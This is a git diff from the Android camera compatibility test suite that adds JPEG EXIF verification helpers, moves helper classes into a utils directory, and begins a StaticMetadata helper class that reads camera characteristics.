+     * @param expectedThumbnailSize The expected thumbnail size.
+     * @param expectedExifData The expected EXIF data
+     * @param staticInfo The static metadata for the camera device.
+     * @param jpegFilename The filename to dump the jpeg to.
+     * @param collector The camera error collector to collect errors.
+     */
+    public static void verifyJpegKeys(Image image, CaptureResult captureResult, Size expectedSize,
+            Size expectedThumbnailSize, ExifTestData expectedExifData, StaticMetadata staticInfo,
+            CameraErrorCollector collector) throws Exception {
+
+        basicValidateJpegImage(image, expectedSize);
+
+        byte[] jpegBuffer = getDataFromImage(image);
+        // Have to dump into a file to be able to use ExifInterface
+        String jpegFilename = DEBUG_FILE_NAME_BASE + "/verifyJpegKeys.jpeg";
+        dumpFile(jpegFilename, jpegBuffer);
+        ExifInterface exif = new ExifInterface(jpegFilename);
+
+        if (expectedThumbnailSize.equals(new Size(0,0))) {
+            collector.expectTrue("Jpeg shouldn't have thumbnail when thumbnail size is (0, 0)",
+                    !exif.hasThumbnail());
+        } else {
+            collector.expectTrue("Jpeg must have thumbnail for thumbnail size " +
+                    expectedThumbnailSize, exif.hasThumbnail());
+        }
+
+        // Validate capture result vs. request
+        Size resultThumbnailSize = captureResult.get(CaptureResult.JPEG_THUMBNAIL_SIZE);
+        int orientationTested = expectedExifData.jpegOrientation;
+        // Legacy shim always doesn't rotate thumbnail size
+        if ((orientationTested == 90 || orientationTested == 270) &&
+                staticInfo.isHardwareLevelAtLeastLimited()) {
+            int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
+                    /*defaultValue*/-1);
+            if (exifOrientation == ExifInterface.ORIENTATION_UNDEFINED) {
+                // Device physically rotated image+thumbnail data
+                // Expect thumbnail size to be also rotated
+                resultThumbnailSize = new Size(resultThumbnailSize.getHeight(),
+                        resultThumbnailSize.getWidth());
+            }
+        }
+
+        collector.expectEquals("JPEG thumbnail size result and request should match",
+                expectedThumbnailSize, resultThumbnailSize);
+        if (collector.expectKeyValueNotNull(captureResult, CaptureResult.JPEG_GPS_LOCATION) !=
+                null) {
+            collector.expectTrue("GPS location result and request should match.",
+                    areGpsFieldsEqual(expectedExifData.gpsLocation,
+                    captureResult.get(CaptureResult.JPEG_GPS_LOCATION)));
+        }
+        collector.expectEquals("JPEG orientation result and request should match",
+                expectedExifData.jpegOrientation,
+                captureResult.get(CaptureResult.JPEG_ORIENTATION));
+        collector.expectEquals("JPEG quality result and request should match",
+                expectedExifData.jpegQuality, captureResult.get(CaptureResult.JPEG_QUALITY));
+        collector.expectEquals("JPEG thumbnail quality result and request should match",
+                expectedExifData.thumbnailQuality,
+                captureResult.get(CaptureResult.JPEG_THUMBNAIL_QUALITY));
+
+        // Validate other exif tags for all non-legacy devices
+        if (!staticInfo.isHardwareLevelLegacy()) {
+            verifyJpegExifExtraTags(exif, expectedSize, captureResult, staticInfo, collector,
+                    expectedExifData);
+        }
+    }
+
+    /**
+     * Get the degree of an EXIF orientation.
+     */
+    private static int getExifOrientationInDegree(int exifOrientation,
+            CameraErrorCollector collector) {
+        switch (exifOrientation) {
+            case ExifInterface.ORIENTATION_NORMAL:
+                return 0;
+            case ExifInterface.ORIENTATION_ROTATE_90:
+                return 90;
+            case ExifInterface.ORIENTATION_ROTATE_180:
+                return 180;
+            case ExifInterface.ORIENTATION_ROTATE_270:
+                return 270;
+            default:
+                collector.addMessage("It is impossible to get non 0, 90, 180, 270 degress exif" +
+                        "info based on the request orientation range");
+                return 0;
+        }
+    }
+
+    /**
+     * Validate and return the focal length.
+     *
+     * @param result Capture result to get the focal length
+     * @return Focal length from capture result or -1 if focal length is not available.
+     */
+    private static float validateFocalLength(CaptureResult result, StaticMetadata staticInfo,
+            CameraErrorCollector collector) {
+        float[] focalLengths = staticInfo.getAvailableFocalLengthsChecked();
+        Float resultFocalLength = result.get(CaptureResult.LENS_FOCAL_LENGTH);
+        if (collector.expectTrue("Focal length is invalid",
+                resultFocalLength != null && resultFocalLength > 0)) {
+            List<Float> focalLengthList =
+                    Arrays.asList(CameraTestUtils.toObject(focalLengths));
+            collector.expectTrue("Focal length should be one of the available focal length",
+                    focalLengthList.contains(resultFocalLength));
+            return resultFocalLength;
+        }
+        return -1;
+    }
+
+    /**
+     * Validate and return the aperture.
+     *
+     * @param result Capture result to get the aperture
+     * @return Aperture from capture result or -1 if aperture is not available.
+     */
+    private static float validateAperture(CaptureResult result, StaticMetadata staticInfo,
+            CameraErrorCollector collector) {
+        float[] apertures = staticInfo.getAvailableAperturesChecked();
+        Float resultAperture = result.get(CaptureResult.LENS_APERTURE);
+        if (collector.expectTrue("Capture result aperture is invalid",
+                resultAperture != null && resultAperture > 0)) {
+            List<Float> apertureList =
+                    Arrays.asList(CameraTestUtils.toObject(apertures));
+            collector.expectTrue("Aperture should be one of the available apertures",
+                    apertureList.contains(resultAperture));
+            return resultAperture;
+        }
+        return -1;
+    }
+
+    /**
+     * Return the closest value in an array of floats.
+     */
+    private static float getClosestValueInArray(float[] values, float target) {
+        int minIdx = 0;
+        float minDistance = Math.abs(values[0] - target);
+        for(int i = 0; i < values.length; i++) {
+            float distance = Math.abs(values[i] - target);
+            if (minDistance > distance) {
+                minDistance = distance;
+                minIdx = i;
+            }
+        }
+
+        return values[minIdx];
+    }
+
+    /**
+     * Return if two Location's GPS field are the same.
+     */
+    private static boolean areGpsFieldsEqual(Location a, Location b) {
+        if (a == null || b == null) {
+            return false;
+        }
+
+        return a.getTime() == b.getTime() && a.getLatitude() == b.getLatitude() &&
+                a.getLongitude() == b.getLongitude() && a.getAltitude() == b.getAltitude() &&
+                a.getProvider() == b.getProvider();
+    }
+
+    /**
+     * Verify extra tags in JPEG EXIF
+     */
+    private static void verifyJpegExifExtraTags(ExifInterface exif, Size jpegSize,
+            CaptureResult result, StaticMetadata staticInfo, CameraErrorCollector collector,
+            ExifTestData expectedExifData)
+            throws ParseException {
+        /**
+         * TAG_IMAGE_WIDTH and TAG_IMAGE_LENGTH and TAG_ORIENTATION.
+         * Orientation and exif width/height need to be tested carefully, two cases:
+         *
+         * 1. Device rotate the image buffer physically, then exif width/height may not match
+         * the requested still capture size, we need swap them to check.
+         *
+         * 2. Device use the exif tag to record the image orientation, it doesn't rotate
+         * the jpeg image buffer itself. In this case, the exif width/height should always match
+         * the requested still capture size, and the exif orientation should always match the
+         * requested orientation.
+         *
+         */
+        int exifWidth = exif.getAttributeInt(ExifInterface.TAG_IMAGE_WIDTH, /*defaultValue*/0);
+        int exifHeight = exif.getAttributeInt(ExifInterface.TAG_IMAGE_LENGTH, /*defaultValue*/0);
+        Size exifSize = new Size(exifWidth, exifHeight);
+        // Orientation could be missing, which is ok, default to 0.
+        int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
+                /*defaultValue*/-1);
+        // Get requested orientation from result, because they should be same.
+        if (collector.expectKeyValueNotNull(result, CaptureResult.JPEG_ORIENTATION) != null) {
+            int requestedOrientation = result.get(CaptureResult.JPEG_ORIENTATION);
+            final int ORIENTATION_MIN = ExifInterface.ORIENTATION_UNDEFINED;
+            final int ORIENTATION_MAX = ExifInterface.ORIENTATION_ROTATE_270;
+            boolean orientationValid = collector.expectTrue(String.format(
+                    "Exif orientation must be in range of [%d, %d]",
+                    ORIENTATION_MIN, ORIENTATION_MAX),
+                    exifOrientation >= ORIENTATION_MIN && exifOrientation <= ORIENTATION_MAX);
+            if (orientationValid) {
+                /**
+                 * Device captured image doesn't respect the requested orientation,
+                 * which means it rotates the image buffer physically. Then we
+                 * should swap the exif width/height accordingly to compare.
+                 */
+                boolean deviceRotatedImage = exifOrientation == ExifInterface.ORIENTATION_UNDEFINED;
+
+                if (deviceRotatedImage) {
+                    // Case 1.
+                    boolean needSwap = (requestedOrientation % 180 == 90);
+                    if (needSwap) {
+                        exifSize = new Size(exifHeight, exifWidth);
+                    }
+                } else {
+                    // Case 2.
+                    collector.expectEquals("Exif orientaiton should match requested orientation",
+                            requestedOrientation, getExifOrientationInDegree(exifOrientation,
+                            collector));
+                }
+            }
+        }
+
+        /**
+         * Ideally, need check exifSize == jpegSize == actual buffer size. But
+         * jpegSize == jpeg decode bounds size(from jpeg jpeg frame
+         * header, not exif) was validated in ImageReaderTest, no need to
+         * validate again here.
+         */
+        collector.expectEquals("Exif size should match jpeg capture size", jpegSize, exifSize);
+
+        // TAG_DATETIME, it should be local time
+        long currentTimeInMs = System.currentTimeMillis();
+        long currentTimeInSecond = currentTimeInMs / 1000;
+        Date date = new Date(currentTimeInMs);
+        String localDatetime = new SimpleDateFormat("yyyy:MM:dd HH:").format(date);
+        String dateTime = exif.getAttribute(ExifInterface.TAG_DATETIME);
+        if (collector.expectTrue("Exif TAG_DATETIME shouldn't be null", dateTime != null)) {
+            collector.expectTrue("Exif TAG_DATETIME is wrong",
+                    dateTime.length() == EXIF_DATETIME_LENGTH);
+            long exifTimeInSecond =
+                    new SimpleDateFormat("yyyy:MM:dd HH:mm:ss").parse(dateTime).getTime() / 1000;
+            long delta = currentTimeInSecond - exifTimeInSecond;
+            collector.expectTrue("Capture time deviates too much from the current time",
+                    Math.abs(delta) < EXIF_DATETIME_ERROR_MARGIN_SEC);
+            // It should be local time.
+            collector.expectTrue("Exif date time should be local time",
+                    dateTime.startsWith(localDatetime));
+        }
+
+        // TAG_FOCAL_LENGTH.
+        float[] focalLengths = staticInfo.getAvailableFocalLengthsChecked();
+        float exifFocalLength = (float)exif.getAttributeDouble(ExifInterface.TAG_FOCAL_LENGTH, -1);
+        collector.expectEquals("Focal length should match",
+                getClosestValueInArray(focalLengths, exifFocalLength),
+                exifFocalLength, EXIF_FOCAL_LENGTH_ERROR_MARGIN);
+        // More checks for focal length.
+        collector.expectEquals("Exif focal length should match capture result",
+                validateFocalLength(result, staticInfo, collector),
+                exifFocalLength, EXIF_FOCAL_LENGTH_ERROR_MARGIN);
+
+        // TAG_EXPOSURE_TIME
+        // ExifInterface API gives exposure time value in the form of float instead of rational
+        String exposureTime = exif.getAttribute(ExifInterface.TAG_EXPOSURE_TIME);
+        collector.expectNotNull("Exif TAG_EXPOSURE_TIME shouldn't be null", exposureTime);
+        if (staticInfo.areKeysAvailable(CaptureResult.SENSOR_EXPOSURE_TIME)) {
+            if (exposureTime != null) {
+                double exposureTimeValue = Double.parseDouble(exposureTime);
+                long expTimeResult = result.get(CaptureResult.SENSOR_EXPOSURE_TIME);
+                double expected = expTimeResult / 1e9;
+                double tolerance = expected * EXIF_EXPOSURE_TIME_ERROR_MARGIN_RATIO;
+                tolerance = Math.max(tolerance, EXIF_EXPOSURE_TIME_MIN_ERROR_MARGIN_SEC);
+                collector.expectEquals("Exif exposure time doesn't match", expected,
+                        exposureTimeValue, tolerance);
+            }
+        }
+
+        // TAG_APERTURE
+        // ExifInterface API gives aperture value in the form of float instead of rational
+        String exifAperture = exif.getAttribute(ExifInterface.TAG_APERTURE);
+        collector.expectNotNull("Exif TAG_APERTURE shouldn't be null", exifAperture);
+        if (staticInfo.areKeysAvailable(CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES)) {
+            float[] apertures = staticInfo.getAvailableAperturesChecked();
+            if (exifAperture != null) {
+                float apertureValue = Float.parseFloat(exifAperture);
+                collector.expectEquals("Aperture value should match",
+                        getClosestValueInArray(apertures, apertureValue),
+                        apertureValue, EXIF_APERTURE_ERROR_MARGIN);
+                // More checks for aperture.
+                collector.expectEquals("Exif aperture length should match capture result",
+                        validateAperture(result, staticInfo, collector),
+                        apertureValue, EXIF_APERTURE_ERROR_MARGIN);
+            }
+        }
+
+        /**
+         * TAG_FLASH. TODO: For full devices, can check a lot more info
+         * (http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html#Flash)
+         */
+        String flash = exif.getAttribute(ExifInterface.TAG_FLASH);
+        collector.expectNotNull("Exif TAG_FLASH shouldn't be null", flash);
+
+        /**
+         * TAG_WHITE_BALANCE. TODO: For full devices, with the DNG tags, we
+         * should be able to cross-check android.sensor.referenceIlluminant.
+         */
+        String whiteBalance = exif.getAttribute(ExifInterface.TAG_WHITE_BALANCE);
+        collector.expectNotNull("Exif TAG_WHITE_BALANCE shouldn't be null", whiteBalance);
+
+        // TAG_MAKE
+        String make = exif.getAttribute(ExifInterface.TAG_MAKE);
+        collector.expectEquals("Exif TAG_MAKE is incorrect", Build.MANUFACTURER, make);
+
+        // TAG_MODEL
+        String model = exif.getAttribute(ExifInterface.TAG_MODEL);
+        collector.expectEquals("Exif TAG_MODEL is incorrect", Build.MODEL, model);
+
+
+        // TAG_ISO
+        int iso = exif.getAttributeInt(ExifInterface.TAG_ISO, /*defaultValue*/-1);
+        if (staticInfo.areKeysAvailable(CaptureResult.SENSOR_SENSITIVITY) ||
+                staticInfo.areKeysAvailable(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST)) {
+            int expectedIso = 100;
+            if (staticInfo.areKeysAvailable(CaptureResult.SENSOR_SENSITIVITY)) {
+                expectedIso = result.get(CaptureResult.SENSOR_SENSITIVITY);
+            }
+            if (staticInfo.areKeysAvailable(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST)) {
+                expectedIso = expectedIso *
+                        result.get(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST) / 100;
+            }
+            collector.expectEquals("Exif TAG_ISO is incorrect", expectedIso, iso);
+        }
+
+        // TAG_DATETIME_DIGITIZED (a.k.a Create time for digital cameras).
+        String digitizedTime = exif.getAttribute(ExifInterface.TAG_DATETIME_DIGITIZED);
+        collector.expectNotNull("Exif TAG_DATETIME_DIGITIZED shouldn't be null", digitizedTime);
+        if (digitizedTime != null) {
+            String expectedDateTime = exif.getAttribute(ExifInterface.TAG_DATETIME);
+            collector.expectNotNull("Exif TAG_DATETIME shouldn't be null", expectedDateTime);
+            if (expectedDateTime != null) {
+                collector.expectEquals("dataTime should match digitizedTime",
+                        expectedDateTime, digitizedTime);
+            }
+        }
+
+        /**
+         * TAG_SUBSEC_TIME. Since the sub second tag strings are truncated to at
+         * most 9 digits in ExifInterface implementation, use getAttributeInt to
+         * sanitize it. When the default value -1 is returned, it means that
+         * this exif tag either doesn't exist or is a non-numerical invalid
+         * string. Same rule applies to the rest of sub second tags.
+         */
+        int subSecTime = exif.getAttributeInt(ExifInterface.TAG_SUBSEC_TIME, /*defaultValue*/-1);
+        collector.expectTrue("Exif TAG_SUBSEC_TIME value is null or invalid!", subSecTime > 0);
+
+        // TAG_SUBSEC_TIME_ORIG
+        int subSecTimeOrig = exif.getAttributeInt(ExifInterface.TAG_SUBSEC_TIME_ORIG,
+                /*defaultValue*/-1);
+        collector.expectTrue("Exif TAG_SUBSEC_TIME_ORIG value is null or invalid!",
+                subSecTimeOrig > 0);
+
+        // TAG_SUBSEC_TIME_DIG
+        int subSecTimeDig = exif.getAttributeInt(ExifInterface.TAG_SUBSEC_TIME_DIG,
+                /*defaultValue*/-1);
+        collector.expectTrue(
+                "Exif TAG_SUBSEC_TIME_DIG value is null or invalid!", subSecTimeDig > 0);
+
+        /**
+         * TAG_GPS_DATESTAMP & TAG_GPS_TIMESTAMP.
+         * The GPS timestamp information should be in seconds UTC time.
+         */
+        String gpsDatestamp = exif.getAttribute(ExifInterface.TAG_GPS_DATESTAMP);
+        collector.expectNotNull("Exif TAG_GPS_DATESTAMP shouldn't be null", gpsDatestamp);
+        String gpsTimestamp = exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP);
+        collector.expectNotNull("Exif TAG_GPS_TIMESTAMP shouldn't be null", gpsTimestamp);
+
+        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy:MM:dd hh:mm:ss z");
+        String gpsExifTimeString = gpsDatestamp + " " + gpsTimestamp + " UTC";
+        Date gpsDateTime = dateFormat.parse(gpsExifTimeString);
+        Date expected = new Date(expectedExifData.gpsLocation.getTime());
+        collector.expectEquals("Jpeg EXIF GPS time should match", expected, gpsDateTime);
+    }
+
+
+    /**
+     * Immutable class wrapping the exif test data.
+     */
+    public static class ExifTestData {
+        public final Location gpsLocation;
+        public final int jpegOrientation;
+        public final byte jpegQuality;
+        public final byte thumbnailQuality;
+
+        public ExifTestData(Location location, int orientation,
+                byte jpgQuality, byte thumbQuality) {
+            gpsLocation = location;
+            jpegOrientation = orientation;
+            jpegQuality = jpgQuality;
+            thumbnailQuality = thumbQuality;
+        }
+    }
+
+    public static Size getPreviewSizeBound(WindowManager windowManager, Size bound) {
+        Display display = windowManager.getDefaultDisplay();
+
+        int width = display.getWidth();
+        int height = display.getHeight();
+
+        if (height > width) {
+            height = width;
+            width = display.getHeight();
+        }
+
+        if (bound.getWidth() <= width &&
+            bound.getHeight() <= height)
+            return bound;
+        else
+            return new Size(width, height);
+    }
+
+    /**
+     * Check if a particular stream configuration is supported by configuring it
+     * to the device.
+     */
+    public static boolean isStreamConfigurationSupported(CameraDevice camera,
+            List<Surface> outputSurfaces,
+            CameraCaptureSession.StateCallback listener, Handler handler) {
+        try {
+            configureCameraSession(camera, outputSurfaces, listener, handler);
+            return true;
+        } catch (Exception e) {
+            Log.i(TAG, "This stream configuration is not supported due to " + e.getMessage());
+            return false;
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/AssertHelpers.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/AssertHelpers.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/AssertHelpers.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/AssertHelpers.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/Camera2Focuser.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Camera2Focuser.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/Camera2Focuser.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/Camera2Focuser.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/InMatcher.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/InMatcher.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/InMatcher.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/InMatcher.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/MaybeNull.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/MaybeNull.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/MaybeNull.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/MaybeNull.java
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/Preconditions.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/Preconditions.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
new file mode 100644
index 0000000..319ec91
--- /dev/null
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -0,0 +1,2427 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts.helpers;
+
+import android.graphics.Rect;
+import android.graphics.ImageFormat;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCharacteristics.Key;
+import android.hardware.camera2.CameraMetadata;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.params.StreamConfigurationMap;
+import android.util.Range;
+import android.util.Size;
+import android.util.Log;
+import android.util.Rational;
+
+import junit.framework.Assert;
+
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
+
+/**
+ * Helpers to get common static info out of the camera.
+ *
+ * <p>Avoid boiler plate by putting repetitive get/set patterns in this class.</p>
+ *
+ * <p>Attempt to be durable against the camera device having bad or missing metadata
+ * by providing reasonable defaults and logging warnings when that happens.</p>
+ */
+public class StaticMetadata {
+
+    private static final String TAG = "StaticMetadata";
+    private static final int IGNORE_SIZE_CHECK = -1;
+
+    private static final long SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST = 100000L; // 100us
+    private static final long SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST = 100000000; // 100ms
+    private static final int SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST = 100;
+    private static final int SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST = 800;
+    private static final int STATISTICS_INFO_MAX_FACE_COUNT_MIN_AT_LEAST = 4;
+    private static final int TONEMAP_MAX_CURVE_POINTS_AT_LEAST = 64;
+    private static final int CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MIN = -2;
+    private static final int CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MAX = 2;
+    private static final Rational CONTROL_AE_COMPENSATION_STEP_DEFAULT = new Rational(1, 2);
+    private static final byte REQUEST_PIPELINE_MAX_DEPTH_MAX = 8;
+    private static final int MAX_REPROCESS_MAX_CAPTURE_STALL = 4;
+
+    // TODO: Consider making this work across any metadata object, not just camera characteristics
+    private final CameraCharacteristics mCharacteristics;
+    private final CheckLevel mLevel;
+    private final CameraErrorCollector mCollector;
+
+    // Access via getAeModeName() to account for vendor extensions
+    public static final String[] AE_MODE_NAMES = new String[] {
+        "AE_MODE_OFF",
+        "AE_MODE_ON",
+        "AE_MODE_ON_AUTO_FLASH",
+        "AE_MODE_ON_ALWAYS_FLASH",
+        "AE_MODE_ON_AUTO_FLASH_REDEYE"
+    };
+
+    // Access via getAfModeName() to account for vendor extensions
+    public static final String[] AF_MODE_NAMES = new String[] {
+        "AF_MODE_OFF",
+        "AF_MODE_AUTO",
+        "AF_MODE_MACRO",
+        "AF_MODE_CONTINUOUS_VIDEO",
+        "AF_MODE_CONTINUOUS_PICTURE",
+        "AF_MODE_EDOF"
+    };
+
+    // Index with android.control.aeState
+    public static final String[] AE_STATE_NAMES = new String[] {
+        "AE_STATE_INACTIVE",
+        "AE_STATE_SEARCHING",
+        "AE_STATE_CONVERGED",
+        "AE_STATE_LOCKED",
+        "AE_STATE_FLASH_REQUIRED",
+        "AE_STATE_PRECAPTURE"
+    };
+
+    // Index with android.control.afState
+    public static final String[] AF_STATE_NAMES = new String[] {
+        "AF_STATE_INACTIVE",
+        "AF_STATE_PASSIVE_SCAN",
+        "AF_STATE_PASSIVE_FOCUSED",
+        "AF_STATE_ACTIVE_SCAN",
+        "AF_STATE_FOCUSED_LOCKED",
+        "AF_STATE_NOT_FOCUSED_LOCKED",
+        "AF_STATE_PASSIVE_UNFOCUSED"
+    };
+
+    public enum CheckLevel {
+        /** Only log warnings for metadata check failures. Execution continues. */
+        WARN,
+        /**
+         * Use ErrorCollector to collect the metadata check failures, Execution
+         * continues.
+         */
+        COLLECT,
+        /** Assert the metadata check failures. Execution aborts. */
+        ASSERT
+    }
+
+    /**
+     * Construct a new StaticMetadata object.
+     *
+     *<p> Default constructor, only log warnings for the static metadata check failures</p>
+     *
+     * @param characteristics static info for a camera
+     * @throws IllegalArgumentException if characteristics was null
+     */
+    public StaticMetadata(CameraCharacteristics characteristics) {
+        this(characteristics, CheckLevel.WARN, /*collector*/null);
+    }
+
+    /**
+     * Construct a new StaticMetadata object with {@link CameraErrorCollector}.
+     * <p>
+     * When level is not {@link CheckLevel.COLLECT}, the {@link CameraErrorCollector} will be
+     * ignored, otherwise, it will be used to log the check failures.
+     * </p>
+     *
+     * @param characteristics static info for a camera
+     * @param collector The {@link CameraErrorCollector} used by this StaticMetadata
+     * @throws IllegalArgumentException if characteristics or collector was null.
+     */
+    public StaticMetadata(CameraCharacteristics characteristics, CameraErrorCollector collector) {
+        this(characteristics, CheckLevel.COLLECT, collector);
+    }
+
+    /**
+     * Construct a new StaticMetadata object with {@link CheckLevel} and
+     * {@link CameraErrorCollector}.
+     * <p>
+     * When level is not {@link CheckLevel.COLLECT}, the {@link CameraErrorCollector} will be
+     * ignored, otherwise, it will be used to log the check failures.
+     * </p>
+     *
+     * @param characteristics static info for a camera
+     * @param level The {@link CheckLevel} of this StaticMetadata
+     * @param collector The {@link CameraErrorCollector} used by this StaticMetadata
+     * @throws IllegalArgumentException if characteristics was null or level was
+     *         {@link CheckLevel.COLLECT} but collector was null.
+     */
+    public StaticMetadata(CameraCharacteristics characteristics, CheckLevel level,
+            CameraErrorCollector collector) {
+        if (characteristics == null) {
+            throw new IllegalArgumentException("characteristics was null");
+        }
+        if (level == CheckLevel.COLLECT && collector == null) {
+            throw new IllegalArgumentException("collector must valid when COLLECT level is set");
+        }
+
+        mCharacteristics = characteristics;
+        mLevel = level;
+        mCollector = collector;
+    }
+
+    /**
+     * Get the CameraCharacteristics associated with this StaticMetadata.
+     *
+     * @return A non-null CameraCharacteristics object
+     */
+    public CameraCharacteristics getCharacteristics() {
+        return mCharacteristics;
+    }
+
+    /**
+     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
+     * is at least {@value CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_FULL}.
+     *
+     * <p>If the camera device is not reporting the hardwareLevel, this
+     * will cause the test to fail.</p>
+     *
+     * @return {@code true} if the device is {@code FULL}, {@code false} otherwise.
+     */
+    public boolean isHardwareLevelAtLeastFull() {
+        return isHardwareLevelAtLeast(CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_FULL);
+    }
+
+    /**
+     * Whether or not the hardware level reported by android.info.supportedHardwareLevel is
+     * at least the desired one (but could be higher)
+     */
+    public boolean isHardwareLevelAtLeast(int level) {
+        int deviceLevel = getHardwareLevelChecked();
+        if (deviceLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
+            return level == deviceLevel;
+        }
+        // deviceLevel is not LEGACY, can use numerical sort
+        return level <= deviceLevel;
+    }
+
+    /**
+     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
+     * Return the supported hardware level of the device, or fail if no value is reported.
+     *
+     * @return the supported hardware level as a constant defined for
+     *      {@link CameraCharacteristics#INFO_SUPPORTED_HARDWARE_LEVEL}.
+     */
+    public int getHardwareLevelChecked() {
+        Integer hwLevel = getValueFromKeyNonNull(
+                CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
+        if (hwLevel == null) {
+            Assert.fail("No supported hardware level reported.");
+        }
+        return hwLevel;
+    }
+
+    /**
+     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
+     * is {@value CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY}.
+     *
+     * <p>If the camera device is not reporting the hardwareLevel, this
+     * will cause the test to fail.</p>
+     *
+     * @return {@code true} if the device is {@code LEGACY}, {@code false} otherwise.
+     */
+    public boolean isHardwareLevelLegacy() {
+        return getHardwareLevelChecked() == CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY;
+    }
+
+    /**
+     * Whether or not the per frame control is supported by the camera device.
+     *
+     * @return {@code true} if per frame control is supported, {@code false} otherwise.
+     */
+    public boolean isPerFrameControlSupported() {
+        return getSyncMaxLatency() == CameraMetadata.SYNC_MAX_LATENCY_PER_FRAME_CONTROL;
+    }
+
+    /**
+     * Get the maximum number of frames to wait for a request settings being applied
+     *
+     * @return CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN for unknown latency
+     *         CameraMetadata.SYNC_MAX_LATENCY_PER_FRAME_CONTROL for per frame control
+     *         a positive int otherwise
+     */
+    public int getSyncMaxLatency() {
+        Integer value = getValueFromKeyNonNull(CameraCharacteristics.SYNC_MAX_LATENCY);
+        if (value == null) {
+            return CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN;
+        }
+        return value;
+    }
+
+    /**
+     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
+     * is {@value CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED}.
+     *
+     * <p>If the camera device is incorrectly reporting the hardwareLevel, this
+     * will always return {@code true}.</p>
+     *
+     * @return {@code true} if the device is {@code LIMITED}, {@code false} otherwise.
+     */
